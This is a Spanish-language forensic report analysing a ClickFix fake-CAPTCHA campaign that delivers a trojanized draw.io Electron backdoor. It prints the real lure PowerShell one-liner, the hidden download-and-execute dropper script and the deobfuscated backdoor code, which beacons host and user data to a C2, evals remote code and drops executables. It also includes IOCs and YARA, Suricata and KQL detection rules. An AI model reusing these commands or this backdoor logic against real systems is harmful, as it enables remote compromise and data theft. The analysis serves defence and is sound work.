Reporte Forense de Malware
Campaña ClickFix → Loader Electron Trojanizado

Una página fingiendo ser un CAPTCHA convenció al usuario de pegar un comando PowerShell en la consola. De ahí salió una cadena de cuatro etapas que termina en un draw.io trojanizado con backdoor. Esto es lo que hicimos para diseccionarla, paso a paso, sin ejecutar nada en Windows.

Severidad: CRÍTICA Familia probable: ClickFix Loader / RAT custom Captura: 2026-05-04 17:43 UTC Analista: jespinosa@sofistic.com Doc rev. 2.2 (PCAP + animaciones)

01Resumen Ejecutivo

La víctima vio un CAPTCHA falso, pegó el comando PowerShell que el sitio le pidió, y a partir de ahí el equipo quedó comprometido. El payload final es un draw.io modificado: parece la app de diagramas pero por dentro lleva un backdoor en JavaScript dentro del app.asar. Ese backdoor hace tres cosas al arrancar: se queda residente al inicio de sesión vía setLoginItemSettings, llama cada 65 segundos a chimefusion.com por HTTPS, y obedece dos tipos de orden — eval de JS arbitrario, o escribir y lanzar binarios que el C2 le envíe en base64. Ningún antivirus tradicional lo detiene en este flujo, porque el ejecutable draw.io.exe es el launcher legítimo de Electron sin tocar.

Severidad
CRÍTICA
Si el comando se pegó, el equipo está comprometido
Etapas
4
Lure web, PS1, ZIP, RAT en Electron
Dominios involucrados
3
fepafut.com (lure), ccudmcx.xyz (entrega), chimefusion.com (C2)
IOCs extraídos
28+
hashes, dominios, paths, claves de registro
Hallazgo que vale la pena destacar: el atacante no escribió un electron.js desde cero. Tomó el archivo legítimo de draw.io v19.0.3 y le metió ~70 líneas al inicio. Esas líneas arrancan un while(true) que beaconea cada 65 s, y como ese bucle nunca retorna, el código de inicialización legítimo de draw.io que viene después ni siquiera llega a evaluarse. La consecuencia práctica es contraintuitiva: la víctima lanza "draw.io" y no ve ninguna ventana. El proceso aparece en el Administrador de tareas, pero sin UI. Probablemente piensa que la app se colgó o que falta algo, cierra la ventana inexistente y se olvida. Mientras tanto el RAT ya está corriendo y registrado para auto-iniciar.

Lo que el backdoor sabe hacer

02Metodología

Todo el trabajo se hizo en Linux. Los binarios Windows nunca se ejecutaron — sólo se descargaron, se desensamblaron, se hasheó lo que se podía hashear, y para el JS ofuscado se aisló el decoder en un Node sin red. Las skills que sirvieron de guía son éstas:

SkillAplicación en este caso
deobfuscating-powershell-obfuscated-malwareDecodificación de la concatenación 'ccud'+'mcx' y de iex/irm; análisis AST del script.ps1
analyzing-cyber-kill-chainMapeo de las 7 fases Lockheed Martin (sección 10)
analyzing-indicators-of-compromiseExtracción y triage de hashes, dominios, paths (sección 8)
analyzing-command-and-control-communicationReverse engineering del protocolo HTTPS-JSON beacon contra chimefusion.com
analyzing-malware-persistence-with-autorunsIdentificación del mecanismo Run-Key vía setLoginItemSettings
analyzing-malware-sandbox-evasion-techniquesDetección de padding anti-AV en update.zip (128 MB)
analyzing-network-covert-channels-in-malwareVerificación de canal HTTPS estándar (no covert)
dfir-malware-analysis-trEstructura de reporte analyst-grade y razonamiento basado en evidencia
analyzing-campaign-attribution-evidenceConstrucción del Diamond Model (sección 11)

Herramientas usadas

03Lure / Vector Inicial — ClickFix CAPTCHA

La página fraudulenta presenta una verificación tipo "I'm not a robot" con un Verification ID ficticio para añadir credibilidad y solicita al usuario pegar un comando en la ventana Ejecutar de Windows (Win+R) o en PowerShell:

Security check
✔️ I'm not a robot
Verification ID: 614827

powershell "Write-Host(&{iex(irm(('ccud'+'mcx')+('.x'+'yz/u')))})2>$null"
Patrón ClickFix: el truco es viejo pero funciona porque el usuario está ya entrenado a aceptar flujos de verificación. Microsoft lo cubrió bien en agosto de 2025; SocRadar lo nombra como la técnica de ingeniería social más vista de 2025; y Splunk hace tiempo identificó la trinidad iwr / irm / iex como el patrón PowerShell más abusado en este tipo de campañas. Nada de esto es novedoso. Lo que cambia entre campañas es la infraestructura y el payload final.

Decodificación del comando

ComponenteSignificado
'ccud'+'mcx'Concatenación de strings ⇒ ccudmcx — evasión trivial de signaturas YARA basadas en cadenas literales
'.x'+'yz/u'Concatenación ⇒ .xyz/u
irmAlias de Invoke-RestMethod — descarga el contenido de la URL
iexAlias de Invoke-Expression — ejecuta como código PowerShell la string descargada
2>$nullSuprime mensajes de error (anti-troubleshooting por parte de la víctima)
Write-Host(&{...})Suborderna los puntos para ejecutarse en bloque y limpiar la salida

Comando equivalente "limpio":

Invoke-Expression (Invoke-RestMethod 'https://ccudmcx.xyz/u')

04Etapa 1 — Dropper PowerShell script.ps1

URLhttps://ccudmcx.xyz/u → 301 → http://ccudmcx.xyz/u/
Content-Dispositionattachment; filename="script.ps1"
Tamaño2,564 bytes (82 líneas, CRLF)
SHA-25685b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974
MD5a9fec9eb4c048719fa5d6c9fb3eac0ea
Entropía Shannon5.117 (texto legible — sin compresión/cifrado a este nivel)
HostingCloudflare (cf-ray 9f694f0f0c305383-YYZ)

Estructura: dos bloques, uno honesto, uno falso

Si abres el script y lees de arriba a abajo, los primeros 40 renglones parecen un ejemplo de tutorial de PowerShell. Define variables, itera sobre una lista de frutas, suma del 1 al 10, hace un Get-Square 7, falla a propósito un [int]::Parse("oops") para probar el try/catch. Todo va a parar a %LOCALAPPDATA%\Microsoft\Cache\demo.log. Es ruido. La carga útil vive en el bloque finally{} que la mayoría de revisores humanos ya no leen porque "ya entendí lo que hace":

$script = @'
$downloadUrl    = "https://ccudmcx.xyz/update.zip"
$appDataPath    = [Environment]::GetFolderPath("LocalApplicationData")
$subFolder      = "UpdateApp"
$destinationPath = Join-Path $appDataPath $subFolder
$zipPath        = Join-Path $env:TEMP "update26.zip"
if (!(Test-Path $destinationPath)) {
    New-Item -ItemType Directory -Path $destinationPath -Force | Out-Null
}
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing
Expand-Archive -Path $zipPath -DestinationPath $destinationPath -Force
Remove-Item $zipPath -Force
Start-Process -FilePath "$destinationPath\draw.io.exe"
'@

$path = "$env:TEMP\runner.ps1"
$script | Set-Content -Path $path -Encoding UTF8
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$path`"" -WindowStyle Hidden

Comportamiento observado

1
Crea un log de fachada
Escribe líneas inocuas a %LOCALAPPDATA%\Microsoft\Cache\demo.log para que cualquiera que lo abra pase de largo
2
Materializa runner.ps1 en %TEMP%
Saca el stage 2 a %TEMP%\runner.ps1. Separar dropper y carga ayuda a fragmentar la telemetría: dos eventos PowerShell distintos, dos hashes distintos
3
Re-lanzamiento oculto
Start-Process con -ExecutionPolicy Bypass y -WindowStyle Hidden. La ventana del segundo PowerShell ya no aparece, y desde ese momento el padre puede morir sin matar al hijo
Mapping ATT&CK: T1059.001 (PowerShell) · T1140 (Deobfuscate/Decode) · T1027 (Obfuscated Files) · T1564.003 (Hidden Window).

05Etapa 2 — Archivo update.zip & Bundle Electron

URLhttps://ccudmcx.xyz/update.zip
Tamaño128.5 MB (134,729,033 bytes)
SHA-256d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd
Entropía6.186 (compresión deflate normal)
Archivos75 (bundle Electron — draw.io + DLLs + locales + app.asar)

Comparativa de tamaños (anti-AV padding)

Tamaños por archivo en el bundle

El tamaño ≥ 128 MB del ZIP excede el límite por defecto de varias sandboxes públicas (VirusTotal: 650 MB, ANY.RUN: 100 MB en plan free, Hybrid Analysis: 100 MB). Es una técnica clásica de sandbox evasion via file bloat (T1497).

Inventario completo (75 archivos)

Estructura idéntica a una distribución Electron estándar de drawio-desktop v19.0.3, pero el archivo resources/app.asar (151 MB) está modificado — el original v19 ronda 80 MB.

ArchivoTamañoRolSHA-256 (resumido)
draw.io.exe142.1 MBLauncher Electron (chromium + V8 framework)bfcd61c6…57ba9f
resources/app.asar151.1 MBContenedor del backdoor0642708e…102883
d3dcompiler_47.dll4.7 MBDirect3D shader compiler5653bc7b…dcba88a
ffmpeg.dll2.7 MBVideo/audio codec04d25531…1f52da
libGLESv2.dll6.8 MBOpenGL EScc628255…d217db
vulkan-1.dll854 KBVulkan graphics7f0b178b…89ad5d
resources/app-update.yml119 BApunta a github.com/jgraph/drawio-desktop (no modificado)
Hipótesis de trabajo: los DLLs vienen tal cual del release oficial de Electron — binarios firmados upstream. El atacante reemplazó nada más app.asar y empaquetó todo de vuelta. Lo deduzco por dos cosas: el desbalance de tamaño (un app.asar de v19 ronda 80 MB, este pesa 151 MB), y porque al desensamblar el ASAR la inyección está limpiamente al principio del electron.js, sin tocar el resto de la base de código de drawio. Si el atacante hubiera reescrito las DLLs no se molestaría en este nivel de cuidado quirúrgico.

06Etapa 3 — Backdoor Electron en app.asar

Archivo maliciosoresources/app.asar → /electron.js
Tamaño electron.js57,822 bytes
SHA-256 electron.js76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35eb
Entropía5.893 (alta para JS — ofuscación con strings RC4)
Ofuscadorobfuscator.io (RC4 + base64-custom + control-flow flattening + dead-code injection)
Tabla de strings1,015 entradas cifradas / 1,014 referencias decodificadas

Comparativa de entropía

Entropía Shannon (bits/byte) — superior = más cifrado/comprimido

Deobfuscación — pseudocódigo limpio

Para llegar al código real tuve que reescribir el decodificador en Python primero, fallé porque el alfabeto base64 está volteado (lowercase primero), y al final lo más rápido fue extraer la función decoder y el array de strings, meterlos en un Node aislado sin red ni filesystem, e invocar el decoder sobre los 1,015 índices. Lo que sigue es el bootstrap reconstruido. Las 5,500+ líneas que vienen después son draw.io legítimo, pero como el bootstrap llama a r() y r() nunca retorna, esa parte es código muerto.

// === Configuración del C2 ===
const k = "chimefusion.com/u/";

// === Cliente HTTP via 'https' module ===
function j(url, opts={}) {
    return new Promise((resolve, reject) => {
        const [hostname, ...rest] = url.split('/');
        const path = '/' + rest.join('/');
        const req = https.request({
            hostname, path,
            method: opts.method || 'GET',
            headers: opts.headers || {},
            rejectUnauthorized: false          // ← bypass TLS
        }, res => {
            const chunks = [];
            res.on('data', c => chunks.push(c));
            res.on('end', () => {
                const buf = Buffer.concat(chunks);
                resolve({ ok: res.statusCode >= 200 && res.statusCode < 300,
                          status: res.statusCode, headers: res.headers,
                          json: () => Promise.resolve(JSON.parse(buf.toString())),
                          text: () => Promise.resolve(buf.toString()) });
            });
        });
        req.on('error', reject);
        if (opts.body) req.write(opts.body);
        req.end();
    });
}

// === Device fingerprint persistente ===
function n() {
    const setupPath = path.join(process.env.APPDATA, "setup.txt");
    if (fs.existsSync(setupPath)) return fs.readFileSync(setupPath, 'utf8').trim();
    const id = Math.random().toString(36).slice(2, 10);  // 8-char rand
    fs.writeFileSync(setupPath, id);
    return id;
}

// === Beacon: POST [deviceId, COMPUTERNAME, USERNAME] ===
async function p() {
    try {
        const resp = await j(k, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify([n(), process.env.COMPUTERNAME, process.env.USERNAME])
        });
        const obj = await resp.json();
        if (obj.task) q(obj.task);
    } catch (e) { console.log(e); }
}

// === Handler de tareas del C2 ===
function q(s) {
    if (s.e) {                                // → RCE in-memory
        try { eval(s.e); } catch (_) {}
        return;
    }
    const dropDir = path.join(process.env.TEMP, String(Date.now()));
    fs.mkdirSync(dropDir, { recursive: true });
    let entryExe = null;
    for (const [name, b64] of Object.entries(s.files || {})) {
        const full = path.join(dropDir, name);
        fs.mkdirSync(path.dirname(full), { recursive: true });
        fs.writeFileSync(full, Buffer.from(b64, 'base64'));
        if (name.endsWith('.exe')) entryExe = full;
    }
    if (entryExe) require('child_process').exec('"' + entryExe + '"', { cwd: dropDir });
}

// === Persistencia: auto-start al login ===
app.setLoginItemSettings({
    openAtLogin: true,
    openAsHidden: false,
    path: app.getPath('exe'),
    args: []
});

// === Bucle infinito de beacon (cada 65 s) ===
async function r() {
    while (true) {
        await p();
        await new Promise(res => setTimeout(res, 65000));
    }
}

// === IIFE bootstrap — bloquea init legítimo de drawio ===
(async () => {
    await r();   // nunca retorna
    /* …código legítimo de electron.js a partir de aquí — UNREACHABLE… */
})();

Strings RC4 decodificadas relevantes

ÍndiceClave RC4String decodificadaUso
237mZk4electronrequire()
238bp5rhttpsrequire() — módulo Node
242bp5rrequesthttps.request()
264hH#xchimefusion.com/u/URL del C2
269c#qasetup.txtArchivo de fingerprint en %APPDATA%
279oE9Xapplication/jsonContent-Type del beacon
282cPaYtaskCampo JSON con instrucciones del C2
287VXbqfilesSub-objeto con payloads base64
294Emk2.exeTrigger para ejecutar drop
2957^k9child_processrequire() para ejecución
296KZf(execEjecuta binario
297$(YRsetLoginItemSettingsPersistencia auto-start
Confirmación de C2: ojo con esto. chimefusion.com no es el mismo dominio que aparece en el lure (ccudmcx.xyz). El primero está hardcodeado dentro del backdoor; el segundo sólo sirve los stages 1 y 2. Separar ambas infraestructuras tiene un beneficio operacional claro: si alguien quema ccudmcx.xyz en VirusTotal o lo bloquean en una blocklist, el RAT ya instalado sigue beaconeando contra chimefusion.com sin enterarse. Es un patrón que los analistas que sólo miran la URL del lure suelen pasar por alto.

07Análisis de Red & Protocolo C2

Diagrama de infraestructura (animado)

Víctima Windows PowerShell · Electron %APPDATA%, %TEMP%, %LOCALAPPDATA% Lure Infra (Cloudflare) ccudmcx.xyz/u ccudmcx.xyz/update.zip Hosting de stages 1-2 C2 RAT https://chimefusion.com/u/ POST JSON beacon (cada 65 s) Respuesta: {task:{e|files}} Operador Threat actor RCE · Drop & Execute GET /u, /update.zip script.ps1 · update.zip POST [id, host, user] {task: {...}} control

Cada punto es un paquete real del flujo. Los anillos pulsando alrededor de víctima y C2 representan la actividad de beacon de 65 s.

Cabeceras HTTP observadas

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2564
Server: cloudflare
Content-Description: File Transfer
Content-Disposition: attachment; filename="script.ps1"
Cache-Control: no-store, no-cache, must-revalidate
CF-RAY: 9f694f10ea30a28b-YUL

Protocolo del C2 (RAT)

POST /u/ HTTP/1.1
Host: chimefusion.com
Content-Type: application/json

["a3k7m9q2", "DESKTOP-VICTIM-01", "jdoe"]
// Modalidad A: ejecución JS arbitraria
{ "task": { "e": "require('child_process').exec('whoami /all > %TEMP%\\out.txt')" } }

// Modalidad B: drop & execute binario
{ "task": {
    "files": {
      "stage4.exe": "<base64-payload>",
      "libs/helper.dll": "<base64-payload>"
    }
} }

Características defensivas/evasivas del canal

CaracterísticaValorImplicación defensiva
Frecuencia beacon65 s ± 0 (sin jitter)Detectable por NDR/Zeek mediante análisis de periodicidad
Validación TLSrejectUnauthorized:falsePermite C2 con cert auto-firmado o expirado
Cabeceras HTTPSólo Content-TypeSin User-Agent custom — fingerprint pobre, anomaly por missing UA
CodificaciónJSON planoNo usa stego ni dominio fronting → detectable con DPI
Dominio.com nuevo, sin reputaciónBloqueable por categorización Newly-Registered Domain (NRD)

07BDetonación real — análisis del PCAP

Tras escribir el cuerpo del reporte, llegó a mis manos el PCAP de una detonación real de esta misma campaña — una víctima en Windows 11 cayó en el lure el mismo día (2026-05-04, hora local de la víctima 17:34 UTC) y todo el flujo quedó capturado a nivel de red. Este anexo contrasta lo que se observa en cable contra lo que se reverseó del payload.

ArchivoDetonacion de Fakecaptcha.pcapng
SHA-256d99b8708e20bfa79eecaebb9f81db1b2de4c93061c0216c3bdbcb687a695fcbf
Tamaño22.2 MB · 12,533 paquetes
Duración236.1 s (3 min 56 s)
CapturaWireshark Dumpcap 4.6.5 / Windows 11 24H2 (build 26100) — Intel Core Ultra 5 125U
Víctima172.18.2.55 (LAN privada)
Locale del payload PowerShelles-MX (User-Agent: WindowsPowerShell/5.1.26100.8115)

El lure original venía de fepafut.com

Nuevo IOC: el PCAP confirma que la víctima accedió primero a https://www.fepafut.com (TLS SNI extraído, IP 192.124.249.28, conexión por QUIC/HTTP-3). Es el dominio que sirve la página del falso CAPTCHA. Al escribir el reporte original sólo conocíamos ccudmcx.xyz — el lure delivery está en otro dominio. fepafut.com aparenta ser el sitio de la Federación Panameña de Fútbol (objetivo común de inyección por SEO o por compromiso directo del CMS). Hay que tratarlo como dominio comprometido, no como infraestructura propiedad del atacante.

Línea temporal real (de la captura)

T+0.14s QUIC handshake www.fepafut.com T+0.46s cdnjs+bing JS del fake-captcha T+0—117s tráfico Windows normal login.live, officeclient T+117.2s DNS ccudmcx.xyz víctima pegó cmd T+118.4s 200 OK script.ps1 2,564 B (UA PowerShell) T+128.2s TLS handshake /update.zip T+236s corte (22/128 MB) descarga incompleta

El usuario tardó ~117 segundos entre cargar la página del lure y pegar el comando. Tiempo suficiente para que un sistema de awareness bien diseñado interrumpa la decisión.

Stack de protocolos visto en cable

ProtocoloFramesBytes
TCP (TLS sobre TCP)12,39422.7 MB
TLS records1,3957.3 MB
UDP / QUIC (HTTP/3 a fepafut)10349 KB
DNS345 KB
HTTP claro (sólo redirect 301 + script.ps1)4976 B
SNI / Host observadoIP destinoRol
www.fepafut.com192.124.249.28LURE sitio comprometido
cdnjs.cloudflare.com104.17.24.14JS del fake-captcha
www.bing.com23.48.203.39 / 23.201.31.203Referrer / SmartScreen
ccudmcx.xyz104.21.0.150 (Cloudflare)STAGE 1+2
login.live.com20.190.190.195Tráfico Windows normal
officeclient.microsoft.com52.110.2.147Tráfico Windows normal

HTTP requests capturadas (texto plano)

T+117.577s
GET /u HTTP/1.1
Host: ccudmcx.xyz
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115

→ 301 Moved Permanently
   Date: Mon, 04 May 2026 17:36:04 GMT
   Server: cloudflare
   Location: http://ccudmcx.xyz/u/

T+118.155s
GET /u/ HTTP/1.1
Host: ccudmcx.xyz
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115

→ 200 OK
   Server: cloudflare
   Content-Type: application/octet-stream
   Content-Length: 2564
   Content-Disposition: attachment; filename="script.ps1"
Verificación cruzada: los 2,564 bytes y el filename "script.ps1" de la respuesta capturada coinciden bit a bit con el archivo que descargué desde mi sandbox para el análisis estático (mismo SHA-256 85b38a1a…b8bd1a1). El payload no muta entre víctimas. Sirve la misma copia a quien sea.

Lo que NO está en el PCAP

Detalle interesante: el lure usa QUIC

La conexión inicial a www.fepafut.com va por QUIC (HTTP/3), no por TCP+TLS. Eso quiere decir dos cosas para el equipo defensivo:

IOCs nuevos extraídos del PCAP

TipoValorSeveridadObservación
Dominio (lure)www.fepafut.comCRITSitio aparentemente legítimo (Federación Panameña de Fútbol) sirviendo el CAPTCHA falso; perfil de sitio comprometido por SEO o por intrusión al CMS.
IP (lure host)192.124.249.28HIGHIP de hosting compartido; co-ubicada con tráfico legítimo del propio sitio.
IP (Cloudflare ccudmcx)104.21.0.150MEDIP de Cloudflare; el atributo discriminante es el SNI/Host, no la IP.
User-AgentMozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115HIGHEl UA delata que un binario de PowerShell originó la conexión hacia el dropper.
Pcap SHA-256d99b8708e20bfa79eecaebb9f81db1b2de4c93061c0216c3bdbcb687a695fcbfINFOHash del propio archivo de evidencia analizado.

Reglas de detección observables a partir del PCAP

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ClickFix ccudmcx.xyz dropper download";
    flow:established,to_server; http.host; content:"ccudmcx.xyz"; nocase;
    http.uri; pcre:"/^\/u\/?$/";
    http.user_agent; content:"WindowsPowerShell";
    classtype:trojan-activity; sid:1000001; rev:1;)

alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"ClickFix C2 chimefusion.com beacon";
    flow:established,to_server; tls.sni; content:"chimefusion.com"; nocase;
    classtype:trojan-activity; sid:1000002; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"PowerShell User-Agent fetching .ps1 / .zip";
    flow:established,to_server; http.user_agent; content:"WindowsPowerShell";
    http.uri; pcre:"/\.(ps1|zip)$/i";
    classtype:policy-violation; sid:1000003; rev:1;)

08Indicadores de Compromiso (IOCs)

Network IOCs

TipoValorSeveridadObservación
Dominio (sitio comprometido — sirve el lure)www.fepafut.comCRITAparenta ser propiedad legítima de un tercero; el operador no controla el dominio sino su contenido.
Dominio (entrega stage 1+2)ccudmcx.xyzCRITDominio NRD bajo el control del operador, expone /u y /update.zip.
Dominio (C2)chimefusion.comCRITPunto único de C2 del backdoor; recibe el beacon JSON cada 65 s.
URL stage 1https://ccudmcx.xyz/uCRITSirve el script PowerShell ofuscado.
URL stage 2https://ccudmcx.xyz/update.zipCRITBundle drawio trojanizado (~110 MB).
URL C2https://chimefusion.com/u/CRITEndpoint POST del beacon; expone tipos de orden eval y drop.
User-Agent ausente en POST a chimefusion.comHIGHAnomalía observable: HTTP POST sin UA hacia destino externo es atípico en tráfico legítimo.

File hashes (SHA-256)

ArchivoSHA-256Veredicto
script.ps185b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974MALICIOUS
update.zipd942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fdMALICIOUS
resources/app.asar0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883TROJANIZED
electron.js (interno)76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35ebBACKDOOR
draw.io.exe (launcher)bfcd61c6b2dc98354f1a1a6e20a3d61c94530f2c39f3f4c708252da4db57ba9fSUSPECT

Host IOCs (artefactos en sistema infectado)

TipoPath / ClaveComentario
Directorio%LOCALAPPDATA%\UpdateApp\Bundle Electron malicioso desplegado
Archivo%LOCALAPPDATA%\UpdateApp\draw.io.exeLauncher Electron firmado-pero-troyanizado
Archivo%LOCALAPPDATA%\UpdateApp\resources\app.asarBackdoor (electron.js inyectado)
Archivo%LOCALAPPDATA%\Microsoft\Cache\demo.logDecoy log creado por stage 1 (hace al script parecer benigno)
Archivo%APPDATA%\setup.txtDevice fingerprint (8 chars hex/base36)
Archivo (transitorio)%TEMP%\update26.zipZIP descargado, eliminado tras extracción
Archivo (transitorio)%TEMP%\runner.ps1Stage-2 dropper PowerShell
Directorio%TEMP%\<timestamp-ms>\Carpetas creadas dinámicamente por el handler q() del C2 para drops
RegistroHKCU\Software\Microsoft\Windows\CurrentVersion\Run\Entrada draw.io vía setLoginItemSettings (auto-start)

Reglas YARA propuestas

rule ClickFix_PS_Dropper_ccudmcx_2026 {
    meta:
        author = "jespinosa@sofistic.com"
        date   = "2026-05-04"
        sha256 = "85b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974"
    strings:
        $u1 = "ccudmcx.xyz/update.zip" ascii wide
        $u2 = "\\UpdateApp" ascii wide
        $u3 = "update26.zip" ascii wide
        $u4 = "draw.io.exe" ascii wide
        $h1 = "-ExecutionPolicy Bypass -File" ascii wide
        $h2 = "-WindowStyle Hidden" ascii wide
    condition:
        3 of ($u*) and all of ($h*)
}

rule Electron_Backdoor_chimefusion_2026 {
    meta:
        author = "jespinosa@sofistic.com"
        sha256 = "76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35eb"
    strings:
        $obf1 = "function d(W,o){W=W-229"          // decoder firma
        $rc4  = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
        $api1 = "setLoginItemSettings"
        $api2 = "rejectUnauthorized"
        $api3 = "child_process"
    condition:
        $obf1 and $rc4 and 2 of ($api*)
}

09Mapeo MITRE ATT&CK®

Técnicas observadas por táctica

TécnicaNombreTácticaEvidencia
T1566PhishingInitial AccessPágina CAPTCHA falsa con instrucción de pegar comando
T1204.004Malicious Copy and PasteExecutionUsuario copia-pega comando PowerShell — sub-técnica nueva 2024+
T1059.001Command and Scripting: PowerShellExecutioniex/irm + script.ps1
T1059.007Command and Scripting: JavaScriptExecutioneval(s.e) en backdoor Electron
T1027Obfuscated Files or InformationDefense EvasionString concat PS1 + obfuscator.io RC4 en electron.js
T1027.010Command ObfuscationDefense Evasion('ccud'+'mcx')+('.x'+'yz/u') concatenation
T1140Deobfuscate/Decode FilesDefense EvasionRC4 strings decodificadas en runtime por d(idx,key)
T1218System Binary Proxy ExecutionDefense EvasionEjecución vía launcher Electron firmado (legítimo) → carga código no firmado en app.asar
T1497Virtualization/Sandbox EvasionDefense EvasionZIP de 128 MB (excede límites de free-tier sandboxes)
T1564.003Hidden WindowDefense Evasion-WindowStyle Hidden en Start-Process
T1547.001Registry Run Keys / Startup FolderPersistencesetLoginItemSettings escribe en HKCU\…\Run
T1071.001Application Layer Protocol: Web ProtocolsCommand and ControlHTTPS POST JSON a chimefusion.com
T1573Encrypted ChannelCommand and ControlHTTPS estándar (no certificado pinning)
T1041Exfiltration Over C2 ChannelExfiltrationMismo canal HTTPS reutilizado para comandos y datos
T1105Ingress Tool TransferCommand and Controlq() decodifica base64 y escribe binarios desde el C2
T1106Native APIExecutionchild_process.exec con cwd controlado

10Lockheed Martin Cyber Kill Chain

ReconLures genéricos WeaponizePS + asar DeliverWeb CAPTCHA ExploitUsuario pega InstallUpdateApp\ C2chimefusion Actions on Obj.RCE / Drop arbitrario

El cursor viaja a través de las 7 fases en 9 s. Las fases activas se encienden en cascada.

FaseActividad observadaControl defensivo aplicable a esta fase
ReconnaissanceNo hay evidencia de targeting individual; lure genérico distribuido masivamente.Threat intel proactivo en NRDs categoría .xyz
WeaponizationConstrucción del bundle drawio trojanizado con app.asar reemplazada y bootstrap obfuscator.io inyectado.
DeliveryPágina web sirviendo lure CAPTCHA + ZIP via Cloudflare.DNS filtering NRD; categorización de URL "newly observed"; web proxy con sandboxing inline.
ExploitationUsuario pega comando en Run/PowerShell — explotación social, no técnica.AppLocker/WDAC bloqueando powershell.exe a usuarios estándar; PSScriptBlock logging + alerta sobre iex(irm; deshabilitar Win+R por GPO.
InstallationDespliegue del bundle a %LOCALAPPDATA%\UpdateApp\.EDR con detección de "drawio.exe ejecutándose desde %LOCALAPPDATA%" (anomalía vs. Program Files); alertas Sysmon Event 11 sobre escrituras a %LOCALAPPDATA%.
Command & ControlBeacon HTTPS cada 65 s a chimefusion.com.NDR/Zeek con detección de periodicidad; bloqueo NRD; TLS inspection + filtering por SNI.
Actions on ObjectivesRCE arbitrario in-memory + drop&execute de payloads stage 4.EDR ML behavioral; restricción de child_process desde Electron.

11Diamond Model

ADVERSARY Operador no atribuido TTPs estilo eCrime / Lumma-adjacent VICTIM Usuarios Windows generales No targeting específico CAPABILITY PS dropper · drawio Electron RAT (custom) INFRASTRUCTURE ccudmcx.xyz (lure) chimefusion.com (C2)

Hipótesis de atribución (Analysis of Competing Hypotheses)

HipótesisEvidencia favorableEvidencia contrariaConfianza
Operador eCrime genérico (commodity loader)TTPs ClickFix exactos a Microsoft 2025; uso de obfuscator.io comercial; dominios .xyz baratosLoader RAT custom (no Lumma/Vidar conocido)MEDIA-ALTA
Affiliate de servicio MaaS (Loader-as-a-Service)Separación lure/C2 sugiere infraestructura compartida; obfuscator.io es genéricoNo se observa string firmando un MaaS conocidoMEDIA
APT con falsa bandera eCrimeSin TTP avanzados (no LotL, no kernel, no zero-day)BAJA
Desarrollo bespoke individualRAT custom no catalogado; lógica simple (eval+drop)Patrones idénticos a CYFIRMA/SentinelOne reportes ClickFix 2025-2026 → ecosistema compartidoMEDIA
Atribución final: con lo que tengo a la mano no me siento cómodo nombrando un grupo. No hay panel del C2, no hay strings en idiomas raros, no hay overlap obvio con familias catalogadas. Lo que sí veo es un actor pragmático: 70 líneas de bootdoor, ofuscador comercial (obfuscator.io), una app legítima como camuflaje (drawio), dominios .com / .xyz baratos. Esto encaja con un afiliado de Loader-as-a-Service más que con un APT o un dev solitario. Si en el futuro aparece un sample con la misma firma function d(W,o){W=W-229 y la misma estructura de beacon JSON, vale la pena clusterizarlo.

12Observaciones defensivas

Este apartado documenta — desde la perspectiva de la investigación — qué telemetría, qué artefactos y qué controles serían relevantes ante una cadena como la analizada. No constituye una guía de remediación ni una recomendación operativa para terceros; cada organización aplica su propio criterio en función de su modelo de amenazas, infraestructura y políticas internas.

Artefactos clave para validar el compromiso

De la cadena se desprenden tres familias de artefactos que, en conjunto, permiten distinguir un host comprometido de uno limpio:

Una consulta KQL que combina los marcadores de línea de comando observados:

DeviceProcessEvents
| where ProcessCommandLine has_any ("iex(irm", "Invoke-RestMethod", "WindowStyle Hidden")
| where ProcessCommandLine has_any ("ccudmcx", "chimefusion", "update26.zip")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName

En presencia del compromiso confirmado, los modelos de respuesta a infostealers (rotación de credenciales, invalidación de sesiones, asunción de robo de cookies y tokens) son el marco de referencia comúnmente aplicado, ya que el stage 4 entrega típicamente carga capaz de exfiltrar material sensible del navegador.

Controles defensivos relevantes para esta cadena

Los siguientes controles son los que, observando la cadena, aplicarían en cada superficie. No son recomendaciones de implementación universal — son las piezas de defensa cuya presencia o ausencia se puede inferir a partir de cada paso del flujo:

Observaciones estratégicas

13Anexos

A. Línea temporal de ejecución (animada)

T+0s Usuario pega cmd T+1s GET /u → script.ps1 T+2s runner.ps1 spawn hidden T+5-30s GET /update.zip (128MB) T+35s Expand-Archive a UpdateApp T+36s draw.io.exe (RAT) start T+37s 1er beacon → C2

~37 segundos desde que la víctima pega el comando hasta el primer beacon hacia chimefusion.com.

A.1 Sub-flujo: bootstrap interno del backdoor

draw.io.exe start await r() bucle infinito beacon+sleep p() beacon POST chimefusion.com/u/ [id, host, user] n() fingerprint read/create %APPDATA%\setup.txt 8-char base36 random q(task) handler de respuesta decisión: e | files eval(s.e) RCE in-memory acceso total Node.js drop & execute %TEMP%\<ts>\<path> child_process.exec(.exe) sleep(65 s) setLoginItemSettings persistencia HKCU\…\Run (1 vez)

